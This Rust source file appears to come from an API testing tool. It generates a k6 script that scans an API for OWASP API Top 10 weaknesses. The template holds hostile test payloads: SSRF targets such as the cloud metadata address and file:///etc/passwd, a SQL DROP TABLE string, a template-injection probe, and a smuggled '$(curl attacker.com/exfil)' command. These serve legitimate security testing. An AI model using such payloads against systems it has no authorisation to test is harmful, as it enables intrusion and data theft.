1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::spec_parser::SpecParser;
11use handlebars::Handlebars;
12use serde_json::{json, Value};
13use std::collections::HashMap;
14
15pub struct OwaspApiGenerator {
17 config: OwaspApiConfig,
19 target_url: String,
21 operations: Vec<OperationInfo>,
23}
24
25#[derive(Debug, Clone)]
27pub struct OperationInfo {
28 pub method: String,
30 pub path: String,
32 pub operation_id: Option<String>,
34 pub path_params: Vec<PathParam>,
36 pub query_params: Vec<QueryParam>,
38 pub has_body: bool,
40 pub content_type: Option<String>,
42 pub requires_auth: bool,
44 pub tags: Vec<String>,
46}
47
48#[derive(Debug, Clone)]
50pub struct PathParam {
51 pub name: String,
52 pub param_type: String,
53 pub example: Option<String>,
54}
55
56#[derive(Debug, Clone)]
58pub struct QueryParam {
59 pub name: String,
60 pub param_type: String,
61 pub required: bool,
62}
63
64impl OwaspApiGenerator {
65 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67 let operations = Self::extract_operations(parser);
68 Self {
69 config,
70 target_url,
71 operations,
72 }
73 }
74
75 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77 parser
78 .get_operations()
79 .into_iter()
80 .map(|op| {
81 let path_params: Vec<PathParam> = op
83 .path
84 .split('/')
85 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86 .map(|segment| {
87 let name = segment.trim_start_matches('{').trim_end_matches('}');
88 PathParam {
89 name: name.to_string(),
90 param_type: "string".to_string(),
91 example: None,
92 }
93 })
94 .collect();
95
96 OperationInfo {
97 method: op.method.to_uppercase(),
98 path: op.path.clone(),
99 operation_id: op.operation_id.clone(),
100 path_params,
101 query_params: Vec::new(),
102 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103 content_type: Some("application/json".to_string()),
104 requires_auth: true, tags: op.operation.tags.clone(),
106 }
107 })
108 .collect()
109 }
110
111 pub fn generate(&self) -> Result<String> {
113 let mut handlebars = Handlebars::new();
114
115 handlebars.register_helper("contains", Box::new(contains_helper));
117 handlebars.register_helper("eq", Box::new(eq_helper));
118
119 let template = self.get_script_template();
120 let data = self.build_template_data()?;
121
122 handlebars
123 .render_template(&template, &data)
124 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125 }
126
127 fn build_template_data(&self) -> Result<Value> {
129 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130 let mut test_cases: Vec<Value> = Vec::new();
131
132 for category in self.config.categories_to_test() {
134 let category_tests = self.generate_category_tests(category, &payload_generator)?;
135 test_cases.extend(category_tests);
136 }
137
138 let categories = self.config.categories_to_test();
140 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142 let test_api3 =
143 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144 let test_api4 =
145 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146 let test_api5 =
147 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151 let test_api9 =
152 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153 let test_api10 =
154 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156 let ops_with_path_params: Vec<Value> = self
158 .operations
159 .iter()
160 .filter(|op| op.path.contains('{'))
161 .map(|op| {
162 json!({
163 "method": op.method.to_lowercase(),
164 "path": op.path,
165 })
166 })
167 .collect();
168
169 let get_operations: Vec<Value> = self
171 .operations
172 .iter()
173 .filter(|op| op.method.to_lowercase() == "get")
174 .map(|op| {
175 json!({
176 "method": op.method.to_lowercase(),
177 "path": op.path,
178 })
179 })
180 .collect();
181
182 Ok(json!({
183 "base_url": self.target_url,
184 "auth_header_name": self.config.auth_header,
185 "valid_auth_token": self.config.valid_auth_token,
186 "concurrency": self.config.concurrency,
187 "timeout_ms": self.config.timeout_ms,
188 "report_path": self.config.report_path.to_string_lossy(),
189 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
190 "test_cases": test_cases,
191 "operations": self.operations.iter().map(|op| json!({
192 "method": op.method.to_lowercase(),
193 "path": op.path,
194 "operation_id": op.operation_id,
195 "has_body": op.has_body,
196 "requires_auth": op.requires_auth,
197 "has_path_params": op.path.contains('{'),
198 })).collect::<Vec<_>>(),
199 "ops_with_path_params": ops_with_path_params,
200 "get_operations": get_operations,
201 "verbose": self.config.verbose,
202 "insecure": self.config.insecure,
203 "test_api1": test_api1,
205 "test_api2": test_api2,
206 "test_api3": test_api3,
207 "test_api4": test_api4,
208 "test_api5": test_api5,
209 "test_api6": test_api6,
210 "test_api7": test_api7,
211 "test_api8": test_api8,
212 "test_api9": test_api9,
213 "test_api10": test_api10,
214 }))
215 }
216
217 fn generate_category_tests(
219 &self,
220 category: OwaspCategory,
221 payload_generator: &OwaspPayloadGenerator,
222 ) -> Result<Vec<Value>> {
223 let payloads = payload_generator.generate_for_category(category);
224 let mut tests = Vec::new();
225
226 for payload in payloads {
227 let applicable_ops = self.get_applicable_operations(&payload);
229
230 for op in applicable_ops {
231 tests.push(json!({
232 "category": category.cli_name(),
233 "category_name": category.short_name(),
234 "description": payload.description,
235 "method": op.method.to_lowercase(),
236 "path": op.path,
237 "payload": payload.value,
238 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
239 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
240 "notes": payload.notes,
241 }));
242 }
243 }
244
245 Ok(tests)
246 }
247
248 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
250 match payload.injection_point {
251 InjectionPoint::PathParam => {
252 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
254 }
255 InjectionPoint::Body => {
256 self.operations.iter().filter(|op| op.has_body).collect()
258 }
259 InjectionPoint::Header | InjectionPoint::Omit => {
260 self.operations.iter().filter(|op| op.requires_auth).collect()
262 }
263 InjectionPoint::QueryParam => {
264 self.operations.iter().collect()
266 }
267 InjectionPoint::Modify => {
268 self.operations.iter().collect()
270 }
271 }
272 }
273
274 fn get_script_template(&self) -> String {
276 r#"// OWASP API Security Top 10 Test Script
277// Generated by MockForge - https://mockforge.dev
278// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
279
280import http from 'k6/http';
281import { check, sleep, group } from 'k6';
282import { Trend, Counter, Rate } from 'k6/metrics';
283
284// Configuration
285const BASE_URL = '{{base_url}}';
286const AUTH_HEADER = '{{auth_header_name}}';
287{{#if valid_auth_token}}
288const VALID_TOKEN = '{{valid_auth_token}}';
289{{else}}
290const VALID_TOKEN = null;
291{{/if}}
292const TIMEOUT = '{{timeout_ms}}ms';
293const VERBOSE = {{verbose}};
294const INSECURE = {{insecure}};
295
296// Custom metrics
297const findingsCounter = new Counter('owasp_findings');
298const testsRun = new Counter('owasp_tests_run');
299const vulnerableRate = new Rate('owasp_vulnerable_rate');
300const responseTime = new Trend('owasp_response_time');
301
302// Test options - use per-VU iterations scenario for controlled test runs
303export const options = {
304 scenarios: {
305 owasp_security_test: {
306 executor: 'per-vu-iterations',
307 vus: {{concurrency}},
308 iterations: 1, // Each VU runs exactly once
309 maxDuration: '30m',
310 },
311 },
312 thresholds: {
313 'owasp_findings': ['count<100'], // Alert if too many findings
314 },
315 insecureSkipTLSVerify: INSECURE,
316};
317
318// Findings storage
319const findings = [];
320
321// Helper: Log a finding
322function logFinding(category, endpoint, method, description, evidence) {
323 const finding = {
324 category,
325 endpoint,
326 method,
327 description,
328 evidence,
329 timestamp: new Date().toISOString(),
330 };
331 findings.push(finding);
332 findingsCounter.add(1);
333 vulnerableRate.add(1);
334
335 if (VERBOSE) {
336 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
337 }
338}
339
340// Helper: Log test passed
341function logPass(category, endpoint, method) {
342 vulnerableRate.add(0);
343 if (VERBOSE) {
344 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
345 }
346}
347
348// Helper: Make authenticated request
349function authRequest(method, url, body, additionalHeaders = {}) {
350 const headers = {
351 'Content-Type': 'application/json',
352 ...additionalHeaders,
353 };
354
355 if (VALID_TOKEN) {
356 headers[AUTH_HEADER] = VALID_TOKEN;
357 }
358
359 const params = {
360 headers,
361 timeout: TIMEOUT,
362 };
363
364 // k6 uses 'del' instead of 'delete'
365 const httpMethod = method === 'delete' ? 'del' : method;
366
367 if (httpMethod === 'get' || httpMethod === 'head') {
368 return http[httpMethod](url, params);
369 } else {
370 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
371 }
372}
373
374// Helper: Make unauthenticated request
375function unauthRequest(method, url, body, additionalHeaders = {}) {
376 const headers = {
377 'Content-Type': 'application/json',
378 ...additionalHeaders,
379 };
380
381 const params = {
382 headers,
383 timeout: TIMEOUT,
384 };
385
386 // k6 uses 'del' instead of 'delete'
387 const httpMethod = method === 'delete' ? 'del' : method;
388
389 if (httpMethod === 'get' || httpMethod === 'head') {
390 return http[httpMethod](url, params);
391 } else {
392 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
393 }
394}
395
396// API1: Broken Object Level Authorization (BOLA)
397function testBola() {
398 group('API1 - BOLA', function() {
399 console.log('[API1] Testing Broken Object Level Authorization...');
400
401 {{#each operations}}
402 {{#if has_path_params}}
403 // Test {{path}}
404 {
405 const originalPath = '{{path}}'.replace(/{[^}]+}/g, '1');
406 const modifiedPath = '{{path}}'.replace(/{[^}]+}/g, '2');
407
408 // Get baseline with ID=1
409 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
410
411 // Try to access ID=2
412 const response = authRequest('{{method}}', BASE_URL + modifiedPath, null);
413 testsRun.add(1);
414 responseTime.add(response.timings.duration);
415
416 if (response.status >= 200 && response.status < 300) {
417 // Check if we got different data
418 if (response.body !== baseline.body && response.body.length > 0) {
419 logFinding('api1', '{{path}}', '{{method}}',
420 'ID manipulation accepted - accessed different user data',
421 { status: response.status, bodyLength: response.body.length });
422 } else {
423 logPass('api1', '{{path}}', '{{method}}');
424 }
425 } else {
426 logPass('api1', '{{path}}', '{{method}}');
427 }
428 }
429 {{/if}}
430 {{/each}}
431 });
432}
433
434// API2: Broken Authentication
435function testBrokenAuth() {
436 group('API2 - Broken Authentication', function() {
437 console.log('[API2] Testing Broken Authentication...');
438
439 {{#each operations}}
440 {{#if requires_auth}}
441 // Test {{path}} without auth
442 {
443 const response = unauthRequest('{{method}}', BASE_URL + '{{path}}', null);
444 testsRun.add(1);
445 responseTime.add(response.timings.duration);
446
447 if (response.status >= 200 && response.status < 300) {
448 logFinding('api2', '{{path}}', '{{method}}',
449 'Endpoint accessible without authentication',
450 { status: response.status });
451 } else {
452 logPass('api2', '{{path}}', '{{method}}');
453 }
454 }
455
456 // Test {{path}} with empty token
457 {
458 const response = http.{{method}}(BASE_URL + '{{path}}', null, {
459 headers: { [AUTH_HEADER]: 'Bearer ' },
460 timeout: TIMEOUT,
461 });
462 testsRun.add(1);
463
464 if (response.status >= 200 && response.status < 300) {
465 logFinding('api2', '{{path}}', '{{method}}',
466 'Endpoint accessible with empty Bearer token',
467 { status: response.status });
468 }
469 }
470 {{/if}}
471 {{/each}}
472 });
473}
474
475// API3: Broken Object Property Level Authorization (Mass Assignment)
476function testMassAssignment() {
477 group('API3 - Mass Assignment', function() {
478 console.log('[API3] Testing Mass Assignment...');
479
480 const massAssignmentPayloads = [
481 { role: 'admin' },
482 { is_admin: true },
483 { isAdmin: true },
484 { permissions: ['admin', 'write', 'delete'] },
485 { verified: true },
486 { email_verified: true },
487 { balance: 999999 },
488 ];
489
490 {{#each operations}}
491 {{#if has_body}}
492 // Test {{path}}
493 {
494 massAssignmentPayloads.forEach(payload => {
495 const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
496 testsRun.add(1);
497 responseTime.add(response.timings.duration);
498
499 if (response.status >= 200 && response.status < 300) {
500 // Check if unauthorized field appears in response
501 const responseBody = response.body.toLowerCase();
502 const payloadKey = Object.keys(payload)[0].toLowerCase();
503
504 if (responseBody.includes(payloadKey)) {
505 logFinding('api3', '{{path}}', '{{method}}',
506 `Mass assignment accepted: ${payloadKey}`,
507 { status: response.status, payload });
508 } else {
509 logPass('api3', '{{path}}', '{{method}}');
510 }
511 }
512 });
513 }
514 {{/if}}
515 {{/each}}
516 });
517}
518
519// API4: Unrestricted Resource Consumption
520function testResourceConsumption() {
521 group('API4 - Resource Consumption', function() {
522 console.log('[API4] Testing Resource Consumption...');
523
524 {{#each operations}}
525 // Test {{path}} with excessive limit
526 {
527 const url = BASE_URL + '{{path}}' + '?limit=100000&per_page=100000';
528 const response = authRequest('{{method}}', url, null);
529 testsRun.add(1);
530 responseTime.add(response.timings.duration);
531
532 // Check for rate limit headers
533 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
534 response.headers['x-ratelimit-limit'] ||
535 response.headers['RateLimit-Limit'];
536
537 if (response.status === 429) {
538 logPass('api4', '{{path}}', '{{method}}');
539 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
540 logFinding('api4', '{{path}}', '{{method}}',
541 'No rate limiting detected',
542 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
543 } else {
544 logPass('api4', '{{path}}', '{{method}}');
545 }
546 }
547 {{/each}}
548 });
549}
550
551// API5: Broken Function Level Authorization
552function testFunctionAuth() {
553 group('API5 - Function Authorization', function() {
554 console.log('[API5] Testing Function Level Authorization...');
555
556 const adminPaths = [
557 '/admin',
558 '/admin/users',
559 '/admin/settings',
560 '/api/admin',
561 '/internal',
562 '/management',
563 ];
564
565 adminPaths.forEach(path => {
566 const response = authRequest('get', BASE_URL + path, null);
567 testsRun.add(1);
568 responseTime.add(response.timings.duration);
569
570 if (response.status >= 200 && response.status < 300) {
571 logFinding('api5', path, 'GET',
572 'Admin endpoint accessible',
573 { status: response.status });
574 } else if (response.status === 403 || response.status === 401) {
575 logPass('api5', path, 'GET');
576 }
577 });
578
579 // Also test changing methods on read-only endpoints
580 {{#each get_operations}}
581 {
582 const response = authRequest('delete', BASE_URL + '{{path}}', null);
583 testsRun.add(1);
584
585 if (response.status >= 200 && response.status < 300) {
586 logFinding('api5', '{{path}}', 'DELETE',
587 'DELETE method allowed on read-only endpoint',
588 { status: response.status });
589 }
590 }
591 {{/each}}
592 });
593}
594
595// API7: Server Side Request Forgery (SSRF)
596function testSsrf() {
597 group('API7 - SSRF', function() {
598 console.log('[API7] Testing Server Side Request Forgery...');
599
600 const ssrfPayloads = [
601 'http://localhost/',
602 'http://127.0.0.1/',
603 'http://169.254.169.254/latest/meta-data/',
604 'http://[::1]/',
605 'file:///etc/passwd',
606 ];
607
608 {{#each operations}}
609 {{#if has_body}}
610 // Test {{path}} with SSRF payloads
611 {
612 ssrfPayloads.forEach(payload => {
613 const body = {
614 url: payload,
615 webhook_url: payload,
616 callback: payload,
617 image_url: payload,
618 };
619
620 const response = authRequest('{{method}}', BASE_URL + '{{path}}', body);
621 testsRun.add(1);
622 responseTime.add(response.timings.duration);
623
624 if (response.status >= 200 && response.status < 300) {
625 // Check for indicators of internal access
626 const bodyLower = response.body.toLowerCase();
627 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
628
629 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
630 logFinding('api7', '{{path}}', '{{method}}',
631 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
632 { status: response.status, payload });
633 }
634 }
635 });
636 }
637 {{/if}}
638 {{/each}}
639 });
640}
641
642// API8: Security Misconfiguration
643function testMisconfiguration() {
644 group('API8 - Security Misconfiguration', function() {
645 console.log('[API8] Testing Security Misconfiguration...');
646
647 {{#each operations}}
648 // Test {{path}} for security headers
649 {
650 const response = authRequest('{{method}}', BASE_URL + '{{path}}', null);
651 testsRun.add(1);
652 responseTime.add(response.timings.duration);
653
654 const missingHeaders = [];
655
656 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
657 missingHeaders.push('X-Content-Type-Options');
658 }
659 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
660 missingHeaders.push('X-Frame-Options');
661 }
662 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
663 missingHeaders.push('Strict-Transport-Security');
664 }
665
666 // Check for overly permissive CORS
667 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
668 if (acao === '*') {
669 logFinding('api8', '{{path}}', '{{method}}',
670 'CORS allows all origins (Access-Control-Allow-Origin: *)',
671 { status: response.status });
672 }
673
674 if (missingHeaders.length > 0) {
675 logFinding('api8', '{{path}}', '{{method}}',
676 `Missing security headers: ${missingHeaders.join(', ')}`,
677 { status: response.status, missingHeaders });
678 }
679 }
680 {{/each}}
681
682 // Test for verbose errors
683 {{#each operations}}
684 {{#if has_body}}
685 {
686 const malformedBody = '{"invalid": "json';
687 const response = http.{{method}}(BASE_URL + '{{path}}', malformedBody, {
688 headers: { 'Content-Type': 'application/json' },
689 timeout: TIMEOUT,
690 });
691 testsRun.add(1);
692
693 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
694 const bodyLower = response.body.toLowerCase();
695
696 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
697 logFinding('api8', '{{path}}', '{{method}}',
698 'Verbose error messages exposed',
699 { status: response.status });
700 }
701 }
702 {{/if}}
703 {{/each}}
704 });
705}
706
707// API9: Improper Inventory Management
708function testInventory() {
709 group('API9 - Inventory Management', function() {
710 console.log('[API9] Testing Improper Inventory Management...');
711
712 const discoveryPaths = [
713 '/swagger',
714 '/swagger-ui',
715 '/swagger.json',
716 '/api-docs',
717 '/openapi',
718 '/openapi.json',
719 '/graphql',
720 '/graphiql',
721 '/debug',
722 '/actuator',
723 '/actuator/health',
724 '/actuator/env',
725 '/metrics',
726 '/.env',
727 '/config',
728 ];
729
730 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
731
732 discoveryPaths.forEach(path => {
733 const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
734 testsRun.add(1);
735 responseTime.add(response.timings.duration);
736
737 if (response.status !== 404) {
738 logFinding('api9', path, 'GET',
739 `Undocumented endpoint discovered (HTTP ${response.status})`,
740 { status: response.status });
741 }
742 });
743
744 // Check for old API versions
745 apiVersions.forEach(version => {
746 const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
747 testsRun.add(1);
748
749 if (response.status !== 404) {
750 logFinding('api9', '/' + version + '/', 'GET',
751 `API version endpoint exists (HTTP ${response.status})`,
752 { status: response.status });
753 }
754 });
755 });
756}
757
758// API10: Unsafe Consumption of APIs
759function testUnsafeConsumption() {
760 group('API10 - Unsafe Consumption', function() {
761 console.log('[API10] Testing Unsafe Consumption...');
762
763 const injectionPayloads = [
764 { external_id: "'; DROP TABLE users;--" },
765 { integration_data: "$(curl attacker.com/exfil)" },
766 { template: "\{{7*7}}" },
767 { webhook_url: "http://127.0.0.1:8080/internal" },
768 ];
769
770 {{#each operations}}
771 {{#if has_body}}
772 // Test {{path}} with injection payloads
773 {
774 injectionPayloads.forEach(payload => {
775 const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
776 testsRun.add(1);
777 responseTime.add(response.timings.duration);
778
779 // Check if payload was processed (e.g., SSTI returning 49)
780 if (response.body.includes('49')) {
781 logFinding('api10', '{{path}}', '{{method}}',
782 'Server-side template injection detected',
783 { status: response.status, payload });
784 }
785 });
786 }
787 {{/if}}
788 {{/each}}
789 });
790}
791
792// Main test function
793export default function() {
794 console.log('Starting OWASP API Top 10 Security Scan...');
795 console.log('Target: ' + BASE_URL);
796 console.log('');
797
798 {{#if test_api1}}
799 testBola();
800 {{/if}}
801 {{#if test_api2}}
802 testBrokenAuth();
803 {{/if}}
804 {{#if test_api3}}
805 testMassAssignment();
806 {{/if}}
807 {{#if test_api4}}
808 testResourceConsumption();
809 {{/if}}
810 {{#if test_api5}}
811 testFunctionAuth();
812 {{/if}}
813 {{#if test_api7}}
814 testSsrf();
815 {{/if}}
816 {{#if test_api8}}
817 testMisconfiguration();
818 {{/if}}
819 {{#if test_api9}}
820 testInventory();
821 {{/if}}
822 {{#if test_api10}}
823 testUnsafeConsumption();
824 {{/if}}
825
826 sleep(0.1);
827}
828
829// Teardown: Output results
830export function teardown(data) {
831 console.log('');
832 console.log('='.repeat(50));
833 console.log('OWASP API Top 10 Scan Complete');
834 console.log('='.repeat(50));
835 console.log('Total findings: ' + findings.length);
836
837 if (findings.length > 0) {
838 console.log('');
839 console.log('Findings by category:');
840 const byCategory = {};
841 findings.forEach(f => {
842 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
843 });
844 Object.entries(byCategory).forEach(([cat, count]) => {
845 console.log(' ' + cat + ': ' + count);
846 });
847 }
848
849 // Write JSON report
850 console.log('');
851 console.log('Report written to: {{report_path}}');
852}
853"#.to_string()
854 }
855}
856
857fn contains_helper(
859 h: &handlebars::Helper,
860 _: &Handlebars,
861 _: &handlebars::Context,
862 _: &mut handlebars::RenderContext,
863 out: &mut dyn handlebars::Output,
864) -> handlebars::HelperResult {
865 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
866 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
867 let result = param1.contains(param2);
868 out.write(&result.to_string())?;
869 Ok(())
870}
871
872fn eq_helper(
874 h: &handlebars::Helper,
875 _: &Handlebars,
876 _: &handlebars::Context,
877 _: &mut handlebars::RenderContext,
878 out: &mut dyn handlebars::Output,
879) -> handlebars::HelperResult {
880 let param1 = h.param(0).map(|v| v.value());
881 let param2 = h.param(1).map(|v| v.value());
882 let result = param1 == param2;
883 out.write(&result.to_string())?;
884 Ok(())
885}
886
887#[cfg(test)]
888mod tests {
889 use super::*;
890
891 #[test]
892 fn test_generator_creation() {
893 let template = r#"
896 {{#each operations}}
897 // {{method}} {{path}}
898 {{/each}}
899 "#;
900
901 let handlebars = Handlebars::new();
902 let data = json!({
903 "operations": [
904 { "method": "GET", "path": "/users" },
905 { "method": "POST", "path": "/users" },
906 ]
907 });
908
909 let result = handlebars.render_template(template, &data);
910 assert!(result.is_ok());
911 }
912
913 #[test]
914 fn test_script_template_renders() {
915 let config = OwaspApiConfig::default()
916 .with_categories([OwaspCategory::Api1Bola])
917 .with_valid_auth_token("Bearer test123");
918
919 let template = r#"
920const AUTH = '{{auth_header_name}}';
921const TOKEN = '{{valid_auth_token}}';
922{{#each categories_tested}}
923// Testing: {{this}}
924{{/each}}
925 "#;
926
927 let handlebars = Handlebars::new();
928 let data = json!({
929 "auth_header_name": config.auth_header,
930 "valid_auth_token": config.valid_auth_token,
931 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
932 });
933
934 let result = handlebars.render_template(template, &data).unwrap();
935 assert!(result.contains("Authorization"));
936 assert!(result.contains("Bearer test123"));
937 assert!(result.contains("api1"));
938 }
939}